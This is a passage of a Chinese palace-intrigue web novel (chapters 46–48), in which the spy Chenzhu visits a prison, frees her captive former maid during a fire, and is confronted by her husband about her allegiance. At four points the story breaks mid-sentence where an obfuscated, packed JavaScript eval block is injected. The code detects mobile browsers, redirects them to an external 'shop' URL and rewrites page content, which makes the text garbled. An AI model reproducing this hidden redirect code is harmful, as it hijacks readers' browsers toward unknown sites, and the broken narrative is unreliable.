可太多的不了了之意味着暴露出了太多马脚与纰漏，她还能在牢狱之外生活多久，在那之前自己是否能够获得到解药，抑或是摸清其中关窍，心中煎熬摇摆，她既担忧又盼望着能将进程加快，好让她快些得到一个结果。 按照约定，沉竹同霍间重一并来到了陈府。 刚踏入府门，沉竹便见到了前来迎接的顾涟涟，她的气色比之前好了不少，如雪的面庞下还透着健康的红润，只有鬓间的几根微不可察的白发昭告着她曾经历过一场浩劫。 “霍大人霍夫人安好，公婆特让我前来迎接二位，霍大人，公公和夫君请您去前厅稍坐，我带霍夫人先去见过婆婆。” 顾涟涟一来就将安排说的清晰，沉竹与霍间重按着他的话在门口处分道扬镳。 沉竹随顾涟涟去陈老夫人的院落中拜会，距离沉竹上次来此间院落已是将近两个月，此时院落中的花草大都凋谢，树上也光秃秃的不见绿色，只剩摆在陈老夫人跟前几个盆景长青。 像是达成了共识，众人皆将发生在月前的不愉快忘却，陈老夫人和善得甚至留沉竹饮了一盏热茶，沉竹盛情难却，便也在这院落中多待了些时间，落座后没一阵还有乐师前来演奏。 有一搭没一搭地说完客套话，杯中的茶恰巧也饮尽，沉竹同陈老夫人拜别之后跟着顾涟涟去到了她现在居住的院落之中。 陈府偌大，想要找到一间住得舒适的院落实属容易，现下顾涟涟同陈年共同住着的一间院落除去面积比先前的那个大上不少，其间布置也显然用心得多，院中木架与盆景搭配地恰到好处，连圃中凋零的花朵都叫人看出几分意境来。 “看来，你的日子过得倒真是好了不少。”沉竹颇有些欣慰地说道。 “有舍必然有得。”说完，顾涟涟吩咐身边侍女将先前备好的茶水点心端了进来。 那侍女的面容依旧是沉竹熟悉的那一个。 “还要多谢你那日愿意帮我说话，哪怕是我有意邀你前来。” 顾涟涟引沉竹坐下，为沉竹倒好茶水，将装着糕点的玉盘向沉竹轻轻推去。 “你我皆从南边来，互相帮衬本就是应该。” “哪里有什么应该与不应该，我既承了霍夫人的情，就自然要回报才好。”顾涟涟边说边将放在她手边的木匣打开，里面放着一根镶着白珠的金簪，“此物是我从娘家带来，今日便交予霍夫人当作信物，此后若是有任何时刻需要帮助，我顾涟涟必定第一个去到夫人面前。” 顾涟涟的话语同她的眼神一样坚定，沉竹看着她的眼睛认真听她说完这么一段话，随后将那推至她面前的木匣重新推了回去，开口拒绝道：“此物贵重，我是万万收不得的。更何况，那日是陈夫人自己救自己于水火，我若收下此礼才真是心中有愧。陈夫人若是想要报答，不如你我口头定下口头约定，结交下这份比礼更重的情谊？” “自然，霍夫人愿意我自然也就乐意。” “其实我心中有一事不解，不知陈夫人可否为我解答？” “霍夫人但说无妨。” “陈夫人你必定知晓，那事根源不在你的身世，而在……” “而在陈年懦弱，自始自终未敢直接同他母亲叫板，将此事在中途截下终了。”顾涟涟平静地接过沉竹的话，“这些我都知晓。霍夫人可知我是因和与陈年相识相知？” 沉竹摇了摇头，等着顾涟涟将话说下去。 “那时陈年榜上有名来信州做官，与我父亲结识，一日我在家中下棋，他凑巧无事来与我队医。我父亲年少时大周还未亡，他将从棋馆里一盘盘输来的棋艺教与我，我因而对棋产生兴趣，自己找来许多棋谱来钻研品读。陈年五子未下时我便知晓他的棋艺不只是”幼时偶尔跟友人下下“那般简单，一盘棋行至中局我便知晓他的棋艺定是从国中叫得上名字的老师。” “那这盘棋你是输了还是赢了？” “下棋是他读书时的消遣，却是我每日的钻研，我最终还是赢下了那一局。当今乱世，大多男儿都苦苦忙于家中生计抑或是去沙场拼搏，只有少数人家会将孩子送到学堂，将孩子送到棋社学习修身养性的人家更是少之又少，像陈年这般拿下棋当兴趣，又有名师指点的人只有可能来自勋贵人家。‘ 顾涟涟喝着茶淡然地说着往事：“后来，他常到我家中与我切磋棋艺，他仪表堂堂，德厚流光，棋艺也不差，渐渐的，我们相看欢喜，他自己做主写了婚书递到了家中，他父母知晓之时我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032865|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们已然成婚一年了。“ “成婚之时你可知陈大人并未同他父母讲明？” “知晓。我从爱上他的那一刻我便知晓，我迟早会落到那日的情景中去。陈年这样的世家公子，要他去同自己的父母亲断绝羁绊太难，他生于富贵之中，养于富贵之中，连我最初喜欢的原因——棋艺，也是因这样的环境才能养成，我又怎能强求于他？于是我便想自己动手。” “所以……” “所以我便设局让婆母不再插手我与陈年的事。倘若我的孩子真的诞生，被养在一个继母身边，时刻担忧父母亲的宠爱是否会偏移，甚至遭人嫉妒无人庇护，那我又何必将他带到这世上？“ 顾涟涟说话时有少许忧伤从眼中流露，她不让这情绪持续太久，她垂眸，举起茶盏饮了一口茶，再抬眼，那抹情绪便消失不见。 沉竹不对顾涟涟口中的故事多做品评，她转而向顾涟涟问道：“这院落中是何人打理？不论生机在与不在，都极有意趣。” “夫君找人，按着他自己的想法来做的，我也觉得很是不错，只是麻烦了些，时时需要人来打理，霍夫人若是不嫌麻烦，我将那几个整治院落的匠人介绍给你。” “我可不似陈大人般高清远致，我只懂得美丑之分，这匠人落到我手中怕是屈才。” “霍夫人说笑了。那日不曾好好招待霍夫人，今日有何需要的尽管使唤我便是。“ 二人烤着屋中的炉火，不再聊往事，相谈甚欢。 这日天气雾霭，看不见日头东升西落，只能感受到身边光线变暗。 霍间重在沉竹刚与顾涟涟提议离去时踏入了此间院落，同往出走的二人正巧打了照面。 同顾涟涟告别后，他牵起沉竹的手，二人一同离开了陈府。 马车之上，霍间重的神色并不轻松，沉竹心中有事不愿开口，便一路沉默，在天色真正暗下来之前回到了霍府。 沉竹回想着方才顾涟涟同她说的事，倘若是她身在陈府陷入困境，她定会想尽办法不顾一切逃离，不再待在陈府之中，因为她无父无母、无牵无挂、独身一人。 霍府门前，霍任芙裹着毛绒披风，提着灯笼出来迎接。 “嫂嫂和兄长此去陈府可还顺利？” “顺利。”霍间重简短地回答道，“可是发生了什么事？” 听到霍间重的问题，沉竹有些不解，她看霍任芙的神色并不见异常。 “怎么？我无事便不可能亲自出来迎你？我一日不见嫂嫂可是思念得紧。”说罢，霍任芙从霍间重身边挽走沉竹，进到了府中。 霍任芙嘴上如此说，但实际霍间重问的不差，她的确有事要同霍间重讲。 方才霍间重尚未归家，郑子寒不知晓此事，快马到家中向其报信，想着事态逐渐明朗，郑子寒便也不再对霍任芙遮遮掩掩，更何况明日昭王迎正头王妃进门，城中护卫的事还需他安排妥当。 “我还有事，劳你将此消息告知霍间重。” 霍任芙手中拿着沉竹给她买来的糕点，看着手中的香料籍册，头也不抬地回应道：“有何事，你讲便是，我定会把消息原封不动地带给兄长。” “你告诉霍间重‘消息已传出，沁菊已被手下人抓获，现下正在廷正监狱中，等人审问’，可记住了？” 霍任芙自听到“沁菊二字时便抬起了脑袋，直直看着郑子寒将话说完。 精力如此集中，又怎会记不下郑子寒这短短一句话？ “记住了。”她沉着声音回答道。 46. 犹豫 昭王此次的婚仪虽不像先前那般铺张，邀全城百姓同庆祝，但又借婚仪之名颁了新策：其所辖管之地，三年内不征新兵且减少军粮的征收。 这场宴席与其说是婚仪倒不如说是一把亮在明面之上的匕首，而匕首的刀尖正对着的就是景王。 昭王从头至尾都安分地待在众人的视线之中，在他身边的晏家娘子容貌上同晏钦薇颇有几分相似之处，不过性子看着更沉静些，一场宴席都未开口说上几句话，只是在一旁默默地笑着。 景王近来在朝中的境况虽不是很好，但人尽皆知是景王一手提拔而上的霍间重周边倒是热闹的，除去朝中大臣，还有不少穿戴隆重的妇人将其围在中央，一口一个霍将军地叫着。 沉竹对这情境不解，转头向在一旁赏玩枝上腊梅花苞的顾涟涟有何看法。 “霍大人身边围着的那些人倒都是眼熟的，就是平日里常去昭王府走动的那几位，不过廷正监此次捉拿逃犯，昭王似是特意行了个方便，才让行动如此顺利。” “捉拿逃犯？” “霍夫人不知晓此事？廷正监从昭王府中捉走了一个妾室，陈年归家同我说时我还有些意外，且不论昭王先前不肯放人的态度，他们廷正监的事一向密不透风，现下如此不隐不瞒的大抵是事情已经明了，到了最后的阶段吧。” “何日捉的？” “就在昨日。” 沉竹默了半晌，才开口同顾涟涟道：“多谢陈夫人告知我这些。” 话音落下，院中一处平台之上突奏起乐来，在冬日里却穿得单薄的舞者挥着浅红色的衣袖翩翩入场，众人的视线都聚焦在了平台之上。 沉竹看向在另一边立在簇拥人群之中的霍间重。 他为何不将这消息告知自己？却也不曾将这消息封锁严密。 是为了让她心焦露出马脚自投罗网，还是单纯不知晓她的身份，不像自己和沁菊有来往？ 许是在战场上待得时间久，霍间重即刻便察觉到了沉竹落在自己身上的视线，他回看过去，沉竹的眼神在这瞬间改变，由开始的探究琢磨变成了真假难辨的欢喜。 他犹豫着是否将视线收回，所幸台上的舞姬也在此刻退场，周边的人群散开，遮挡住了沉竹的眼睛。 离开王府的马车之上，沉竹爽快地将埋在心底的疑问说出：“夫君为何不告诉我沁菊被抓的事？” “我本不欲瞒你。” “我要见沁菊一面。”沉竹了当地向霍间重提出自己的要求，她还有事未向沁菊问明。 霍间重却并未迅速做出回答，他的沉默保持到马车驶出王府所在的街巷，驶到熟悉的街道。 这沉默让沉竹想得更深，原先她一眼便能看清的霍间重，不知何时罩上了迷雾，她摸不清他的态度，心也在等待的时间里变得忐忑。 若是霍间重给出肯定的答案，究竟是看在她与沁菊的主仆情分之上还是有意借此设下陷阱，等着他往进跳。 “可以。”霍间重犹豫良久后开口。 沉竹只喘出了半口气，剩下的半口滞在胸中不上不下。 “改日我带你去往廷正监见她一面，但你要谨记廷正监人多眼杂，有些话不该说出口。” 沉竹的那半口气终于叹出口，她先前担忧的想象变成了事实，在沁菊之后，霍间重的确对自己的身份有了怀疑，而这份怀疑似乎还十分笃定。 “多谢夫君体谅。”她笑着看向霍间重。 新的疑问在她的心底冒了出来：霍间重为何要帮自己掩护？ 再次察觉到她的视线久久不移开，霍间重有些疑惑地转头看向沉竹。 不待他开口，沉竹便好像读懂了他的疑问，开口回答道：“我在想夫君是否喜爱我。” 霍间重听后将头又转了回去。 不是他不愿说出巧话来敷衍沉竹的询问，是他给不出答案。 廷正监的牢狱并没有沉竹想象得那般阴森，没有犯人受刑的嘶吼，狱门之上也不见血迹。 沉竹樱紫色的裙摆在潮湿的黑石地上摩擦，微微发出声响。 “夫人先前定然没来过牢狱这种场所吧，小的来廷正监当职之前在各处的牢狱都做过一段时间活计，廷正监的监狱算是小的见过最为清净的了。”霍间重选来为沉竹引路的侍卫一袭干练的玄衣，转头笑着对沉竹说道，“这全要归功于我们廷正监的监副霍大人呢。” “这是什么说法？”沉竹问道。 “凡在牢狱中死掉的人都会被及时清理出去，那人呆过的牢房也会派人清理，大吼大叫的犯人都会被转移到刑房附近的牢房安置，听着里面人的惨叫声那些人自会安静下来，这都是霍大人定下的规矩，虽是麻烦了些，但我们兄弟在此值守喝酒吃肉时也落得清净，更何况廷正监的俸禄比其他地方要高上不少。” “是吗？”沉竹第一次听廷正监的人说起霍间重，还有些新奇，“不过，还是要多谢你们尽职尽责才让夫君办事顺利。” “夫人这是哪里的话。”侍卫边说边替沉竹打开了牢房的门，“这便是关押夫人先前侍女的牢房了，监牢阴寒潮湿，夫人莫要在此待上太久，一炷香的时间到了，我会提醒夫人的。” “多谢。” 说完，沉竹进入了牢房，本应守在门外的侍卫兴许是听了叮嘱，并未守在门前，离开了沉竹的视线之中。 “你来了。” 沁菊身穿囚衣，手上带着重重的镣铐，坐在干草之上抬眼看向沉竹。 沉竹不拖沓，利索地将衣裙挽起坐在甘草之上，坐到沁菊的对面，从袖中拿出纸笔，放在一张什么也没摆的狭小木几之上。 “念着你在我身边有些时日，我便来看望你。” 与此同时沉竹沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038356|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨提笔，在纸上写到：赋凌司可还有我不知晓的秘密？ 沁菊被她这副做派逗笑，但还是顺手接过沉竹递来的笔，在纸上写到：我怎会告诉你？ “奴多谢夫人来看望。”沁菊说话的语气凄凄，神色却不然，她玩味地看向此时恼怒却吐露不出半个字的沉竹，不自觉扬起了嘴角。 我已经帮过你了，你也该履行约定。沉竹在纸上写道。 何必心急？你当上辨情使之后不就会知晓？ “你在这段时日过得如何？”沉竹看着纸上沁菊写下的字，向她询问道。 “不算好。”沁菊诚实地回答道。 她身上的伤口打眼，沉竹刚进牢房中必定就已看到。 救我出去。沁菊在纸上写道。 她的请求荒谬，但她知晓沉竹定会好好考量。 燕京城的消息传递出现了问题，意味着哪怕沉竹如愿当上辨情使也极有可能接触不到她所知晓的消息。 沉竹渴求生与自由的欲望太过强烈，她无法不拿着如此明显的弱点逼着她一步步妥协。 果不其然，沉竹的眉头皱起，开始思量着她的请求。 “奴不在的时间里，还请夫人多多照看沁兰。” “这是自然。” 话毕，沉竹的思量也得出结果，她不犹豫地再次拿起笔写道：你想要我怎么做。 救我。 这次沁菊不再接过沉竹手中的笔，不出声，用嘴型跟沉竹说道。 “你在狱中的这些时日有何需要同我说便是，我尽力为你办到，算是成全你我主仆情谊。” 沁菊听后将桌上散落的纸张团成了一团，递给沉竹，示意其将这些东西带走，她明白，沉竹已经答应了她的请求。 她将纸笔放回袖中，事情谈妥，沉竹准备离去，她走至牢房门前时，沁菊叫住了她。 “夫人，奴进来之前身上有块玉佩被清查的侍卫收走，劳夫人为奴讨来，帮奴转交给沁兰。” 沉竹没出声，只是点了点头，随后走出牢房，唤候在远处的侍卫前来引路将她带离此处。 仅凭她一人想要从廷正监中救出沁菊，简直是痴人说梦，可为了得到沁菊所知道的解药信息，她只得尽力相处办法。 接通地面和廷正监牢狱的是一道向上的阶梯。 引路的侍卫依旧像来时那般健谈，便抬腿上着台阶，边同沉竹讲者廷正监的日常。 直到走到门前侍卫掏出钥匙，才发现不论如何都打不开这道隔开地面与监牢的门。 “夫人稍等，许是小的拿错了钥匙。” 他拿着手中的钥匙端详再端详，最终还只是换了个面继续插入锁孔之中。 然这一次不像先前那般毫无反应，他们的背后，也就是监牢的另一边传来了喊叫的声音。 “来人呐，监牢走水了！” 47. 抉择 火光从监牢另一边的尽头刺眼地传来，火势正逐渐朝沉竹所在的位置蔓延。 “你对此处熟悉，可知道有别的出口？” “东边，东边还有一道门！可……”那侍卫转头看向被火焰掩盖的方向，“夫人在此处稍候，狱中常备着水，我去看看能否将这火扑灭。” 沉竹叫住将要带着几个刚跑到此处的侍卫离去的他，沉声说道：“将钥匙给我，我来试试能否将这门打开。” 那侍卫神色焦急，来不及多做思考，便将手中的钥匙交给了沉竹，还向留在沉竹身边的寥寥几个侍卫匆忙嘱咐道：“你们几个，定要护好夫人周全。” 待那几个侍卫离去之后，沉竹拿着手中的钥匙不紧不慢地一个个试着，神情自若地问向身边寻找工具准备砸门的侍卫：“这牢中的犯人该如何办？” “廷正监的监牢不大，现下关押的应当就只有三四个犯人吧。”为首的那个同沉竹回答道，“若能将门打开，能救自然是要救下的。” 沉竹听后转身，从剩下的侍卫里点出了两个人，说道：“这门是被人从外面堵上了，你们两个，将犯人先放出来看管着。” 被沉竹点到的两个人拱手答是，随后也离去。 沉竹退了一步，给找好器械的侍卫留出砸门的空间来，然后她越退越后，按着记忆中的路线，拿着手中的钥匙，来到了沁菊的牢房前。 纵火的人是谁？沉竹即刻便想到了昭王，给廷正监下绊子是她一贯会做的事，更何况赋凌司现下为覃国做事，他又站在主和的立场之上，廷正监死抓着赋凌司细作不放无疑是在给他添堵。 一场大火既可以论景王看管不利，还可借机给予覃国交代，让覃国完全站在自己一侧，至于在火中死去的人，于他而言不足为道。 而面前的沁菊显然未料到如此情况，她慌张地叫喊着，眼中含泪乞求着沉竹将她放出去。 “告诉我你所知道的。”沉竹面朝她举起手中的钥匙，一字一句地说道。 “沉竹！你疯了！你不看看此时身陷何种境地，你不想活了吗？救我出去，救我出去，我便告诉你我所知道的一切！”沁菊边嘶吼边紧抓着栏杆剧烈晃动着。 赤色的火焰愈发逼近了，但沉竹不怕，她今天哪怕葬身火海也要知道她追寻已久的答案。 “告诉我，我便放你出去。”沉竹重复着刚刚的话。 “沉竹！若我身死你什么也得不到！你甘心如此不明不白的死去？将我放出去，兴许你我就能完好无损的走出这间牢狱，待出去之后，我什么都同你说，我什么都同你说！” 沉竹掐紧了指尖的钥匙，她在思考着是否能够相信沁菊的话，毕竟眼前人早已将她的信任消耗无几。 “沉竹你还在想什么！这样耗下去有什么好处！快放我出去！”沁菊哑着声音吼道，“算我求你，玉佩，那块玉佩还没给沁兰。” 提到玉佩，沉竹心中一动，终还是将钥匙插入锁孔，打开了关着沁菊的牢房门。 得到生机的沁菊才不管沉竹反应如何，她夺门而出，朝着大门的方向跑去。 沉竹的双腿却像是被灌了铅一般，一动不动。 方才，她都做了些什么…明明自己是最想活的那一个… 浓烟弥漫开来，塞入沉竹的咽喉。 “门打开了！”“快，快出去！”“夫人呢？夫人去哪了？” …… “你在想什么！” 沉竹被吼过神来，她愣愣地看着眼前抓住她手腕的霍间重，说不出一句话来。 “快走！” 霍间重拉着她尽快地向前奔着，发现她走的踉跄，又将她打横抱起，往门外疾步走去。 霍间重的步伐迈出监牢的大门，寻常的晚风吹拂在沉竹的脸上，她迷蒙着双眼，觉得今日的晚风格外清新。 “找医士来！快！”霍间重抱着沉竹急声向手下人吩咐道。 沉竹的双眼在接触到床板的那一刹那合上，失去了意识。 沉竹做了好长一个梦，记忆中成片的竹林在梦中出现。 年幼的她站在通天的竹林之中，手上拿着一把比她的手大上很多的匕首，匕首很重，她将它拿起时手还不稳在晃动。 司使站在她身后，一手握住她拿着匕首的那只手臂，用力地将其送向前方。 “刺的时候要快、要准、要要果断。”司使教导着年幼的她，“手臂要稳，要用力。” 竹林中的她默念着司使的教导一遍遍练习着。 要快、要准、要果断，手臂要稳、要用力。 面前的空气被匕首搅乱，眼前的情景不知不觉地变换。 霍间重不知何时站到了自己的面前，而自己的匕首正停在距离他胸膛的分毫。 沉竹猛地抬头，梦中的霍间重一手握住匕首的刀刃，鲜红的血刺目地流了出来，滴到脚下铺满枯叶的土地，他的面孔在她的面前痛苦地扭曲起来。 她从睡梦中惊醒，窗外的阳光倾洒进屋，和煦得不成样子。 熟悉的霍府主屋布置替代绿色的竹林出现在她的眼前，周遭安静，无人在她身侧，她惊吓过后的喘息声充斥着整个屋子，有冷汗自她的额角流下。 时间推移，沉竹因呼吸上下耸动的肩膀渐渐平静，她回想起陷入沉睡之前曾发生过的事。 大火、沁菊、浓烟、霍间重…… 她急着下床，她要拿回玉佩，沁菊还有话必须要同她讲。 她太心急，久不曾调动的肌肉显然不听她的使唤，她一脚刚刚落地，便浮软地将她整个人带到了地上。 胳膊重重撞上了床边摆放着一盆有些枯萎的山桃草，瓷制的花盆碎落在地面，泥土一块块地跑了出来，根茎失去了土壤的包裹，裸露了部分出来。 沉竹因胳膊被撞击的疼痛“嘶”了一声，但随后又撑着地面急着站起，果不其然，一个失力又倒在了地上。 这次她的手接触到地上散落的瓷片，被划伤，流出点点鲜血来。 沉竹心中无奈，换了姿势，穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074494|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝衣散着发直接躺在了地上，看着头顶棕色的横梁发呆。 半晌过后，屋门响动，她转头看向来人，霍间重端着药走了进来。 霍间重显然没想到沉竹此时会躺在地上转头看向自己，诊治的医士说她浓烟入喉，一时间气机滞涩昏了过去，一番把脉查看过后，还说她体内邪气太盛，开了方子嘱咐按时服用。 至于何时醒来，医士没留下个准确的时间，一天或几天，但总归会醒的，霍家兄妹二人听后这才放下心来。 霍间重手中的药碗抖动，稳了心神将药碗放到一边，上前将地上的沉竹抱了起来，放到了床上。 他怀中的沉竹双眼无光，顺从地被他抱着。 “你要急着去寻什么？”霍间重将她凌乱的发理顺，看到了她手上的伤口。 “不寻什么。”沉竹下意识地否定，随后侧目看向正在低头找药膏的霍间重继续说道，“廷正监中关着的犯人可都救出来了？” 霍间重不意外沉竹的询问，他拿桌边的水轻轻冲着沉竹手上的伤口，用纱布拭干后，为她轻柔地涂抹着药膏。 “逃了一个。”他回答道。 “哪一个？”沉竹追问。 “你想的那一个。” 沉竹手上的伤口不大，但看着还是有些骇人，霍间重用纱布包裹，打上了一个小巧的结。 “逃去了哪里？” “尸体被昭王府的人抬了出来。” “死了？”沉竹问着她刚刚听到的事实。 “死了。” 她将手从霍间重手中迅速地抽出，看着她这副举动，霍间重反而笑了出来，起身去取方才被他匆忙放在门口桌案上的药。 “何人将她害死？” “夫人觉得是何人？”霍间重一手端着药，笑着再次在沉竹面前坐下。 是昭王，沉竹心中早已得出了答案。 见她不说话，霍间重将事实补全：“昭王府说此妖妾死不悔改，想要登门找昭王说情，拉进府后被人打死，裹了张席子从后门扔了出来。我已将此事告知沁兰，给了钱财让她去为沁菊收尸安葬。这些时日沁兰不在，有何事你直接同我说便是。” “廷正监守卫森严，当日怎么救偏偏叫她一个跑了出去？”沉竹目视前方，平静地说着，”是你，知道她出去必定会找昭王，故意将她放了出去。” “我没杀她。”霍间重看着她的侧脸陈述着，“你该喝药了。” 他一手端着药碗，一手拿着调羹，向沉竹嘴边送去。 沉竹看向他，冷着脸将他手中的药碗打翻，褐色的药汁将他的衣服洇深了颜色，他身上穿着的是沉竹经霍任芙提醒后，去布匹店里还是选了他常穿的颜色，挑了料子，找人制好的新衣。 “你猜到了，你想要我干什么？”沉竹向他质问道。 霍间重不恼，从容地将手中空了的碗放在了一旁。 “我要你此后不再与赋凌司有来往瓜葛，至于此前的种种我便当什么都没有发生过。” 48. 画轴 “霍任芙也依稀猜到了此事，对吧。”沉竹似是笃定地说道。 霍间重不回答，只是低头轻抚着她的那只伤手。 沉竹在他的沉默中得到了肯定的答案，她看向霍间重的眼神变得疑惑，她对他说出的话不解，却又似乎抓住了一点线索。 “你可知此事远没有如此简单？赋凌司并非是我……” “解药我会尽力帮你找到，你不必为此担忧，只要安生地待在我与霍任芙身边，像你先前那般做好霍夫人这个名号就好。” 霍间重打断沉竹的话，补充着诱人的条件，“你也想脱身不是吗？沁菊的手上发现了伤痕，廷正监已将杨称和家宅的事情划到了她的头上，药局丢失的药草也可算到她身上，你可干干净净地活下去。” “我不懂你为什么要这么做。”沉竹直视着霍间重，直接地将心中的疑问说出，“你没那么爱我。” 霍间重虽然对自己悉心备至，但沉竹感受得到，如果这个霍夫人的名头不是自己担着，换个人来做，他也会是这样。 他与她像是在演一出戏，只不过她想脱身，他却沉溺其中。 霍间重听到沉竹的最后一句话，手上一顿，像是被戳中了要害，但也只是一瞬。 “这样不好吗？” 的确没什么不好，沉竹想。 她虽身份暴露，但不用进监牢，不用去死，也不必漂泊，还能安然的在寒冷的冬日身处一间有炭火的屋子，盖着身上的棉被，舒适地同霍间重论事。 可这一切依旧建立在她是赋凌司细作的前提之下。 “不好。”她冷着脸再次将手收回，“我累了，你出去吧。” 说罢，她将垫着背的软枕从身后拿到一旁，躺下将被子盖得严实，背过身去，不再面对霍间重。 “你现下身体还未好全，我去再给你熬碗药来。” “这事本无需你来做。” 沉竹不知道自己的这最后一句话，霍间重是否听到，毕竟她最后一个字落下，转头去看时，他就已离开了屋子。 一阵风来，将屋中关着的窗子吹开，飘进屋中的除了寒意还有雪花。 沉竹记不清这是这个冬日的第几场雪，脑海中那个彷徨悲哀的春末夏初像是已远离了很久。 也许是个新开始吧，沉竹边将身上的被子裹紧便想着。 将话同霍间重讲明后，她往后便可不必在其面前一口一个“夫君”甜腻地装样子，她外壳下的自己大抵能在霍府某处自在地游荡。 一切对她来说，好像都在向好的那一面行进。 病愈后的沉竹又迎来了烦心事。 不少贵妇人听闻廷正监那场大火她受了伤，提着礼带着尚未婚配的儿女在此时登门拜访，美其名曰来探病。 “嫂嫂病都好了，这些人来探哪门子的病。”站在廊中漆柱后的霍任芙看着不远处在院中接待来往宾客的沉竹，跟身边侍女抱怨道。 侍女不说话，只是将她微开的披风搂搂紧。 说话间，沉竹刚刚将又前来拜访的徐夫人送走，徐夫人是她今日少见没带家中女儿画像来的，只带了男儿的画像交给沉竹请她给霍任芙过目。 她同沁兰将放在院中的画轴整理好，一起拿到了房中。 同她们一起进屋的还有跟在身后来回探着脑袋想要帮忙却没榜上的霍任芙。 “嫂嫂病刚好便要受这样的罪，当真是辛苦。”霍任芙边说边捡起不慎掉到地上的一卷画轴，重重的放在了桌上。 沉竹对今日的情况其实早有预料，自那日王府喜事过后，她就知晓会有不少人登门造访，不想廷正监的那场火将节奏打乱，燕京城中这群人最擅长的就是等待，等她病一好，便迅速凑了上来。 这还要多亏霍间重在她休养时将人拦下，才让她休养时安生些。 “这本是我该做的，门庭兴旺，该高兴才是。”沉竹开始将那堆画卷一个个展开，笑着同霍任芙说道，“芙儿你也来看看，可有瞧见中意的，昭王近来想要和夫君走的近些，这些夫人们送来的应当都是不差的人选，不过也应当不会是极好的，芙儿看看做个参考也是不错的。” 霍任芙听着沉竹的话，将离自己最近的一幅画轴展开，画中的人五官平平，透过纸面传达出的那一两分气质也是平平。 她的眉头皱起，却不是因此忧心。 “我若是在这其中选了人，可会对兄长产生影响？” 沉竹看得快，手边的画轴被她分出两类来。 “夫君如今在廷正监当职是因为当初救下景王，并非是因景王救下了他，如此，便也只能算得上是景王知恩图报，让我们一家有幸搬到燕京。夫君在朝中做事谨慎，只凭一桩同昭王近臣的姻亲就想划定边界站好队，未免太草率了些。这些人急着同你兄妹二人攀上些关系无非是想去到昭王面前邀功，芙儿你大可放心，不必为此担忧。” 听到沉竹的话，霍任芙紧皱的眉头松了下来，但随即面上的神情又紧绷了起来。 她手中拿着一幅刚打开的画轴，这次画上的不是平凡的男子，而是容貌姣好的女子。 “这些送来的女子画像嫂嫂打算如何办？”霍任芙试探地问向沉竹，“照我看，便点起火，通通烧了便是。“ “芙儿说笑了，还是要拿去给夫君过目才是。“ “给他看做甚？府中有嫂嫂一个人就够了。”霍任芙的语气真诚不像作假。 沉竹看着霍任芙认真的神情，她心中是在困惑，早知这兄妹二人一样无所顾忌，自己先前又何必遮遮掩掩蹑手蹑脚。 “这些画轴我已分好，一些我瞧着不错的都放在了这边一摞，芙儿拿回房中去看吧。”沉竹将桌上的画轴整整好，向霍任芙的方向推了推。 “好，我听嫂嫂的，拿回房中去看。”霍任芙笑笑应下。 随后，霍任芙便和身边侍女抱着画轴离去，走到门口处又回头，对着沉竹说道：“对了，兄长不日便要前去周邑，我听闻周邑的冬日要比燕京冷上不少，嫂嫂可要择日同我一起上街挑些厚实的皮毛为兄长制些行装？” 沉竹笑着回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111656|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍任芙：“好。” 她又一次从霍任芙口中得知霍间重的去向。 晚些时候，霍间重归家，沉竹将白日收到的画轴一一摆在霍间重眼前，等着他做出选择。 “这是何意？”霍间重看着画轴上的一张张人脸，向沉竹问道。 “今日不少官眷登门拜访，盼望着能与霍家结下一门亲事，以在昭王面前有所表现，夫君看看是否要行个方便。” 说着，沉竹走到最后一幅展开的画像跟前，说道：“比如这个，朝中宾赞郎中黎大人家的庶女，在京中出了名的德艺双馨，黎大人家中世代为官，在朝中根基深厚，倘若夫君与他家结亲，必定会互有助力，两厢安好。” “是吗？”霍间重听后装作思考了一阵，看着沉竹说道，“明日应当还会有人上门拜访，等这些人将画像都送完，我再做抉择也不迟。” “这倒也是。”沉竹点点头，随后抬眸看霍间重，嘴角带笑地说道：“那夫君便帮我将这摊开的画像收起来，找个地方好生安置，以防受潮破损，方便夫君日后再看。” 见沉竹不为所动，霍间重不再回应她的话，从另一边默默地帮其将画像收好。 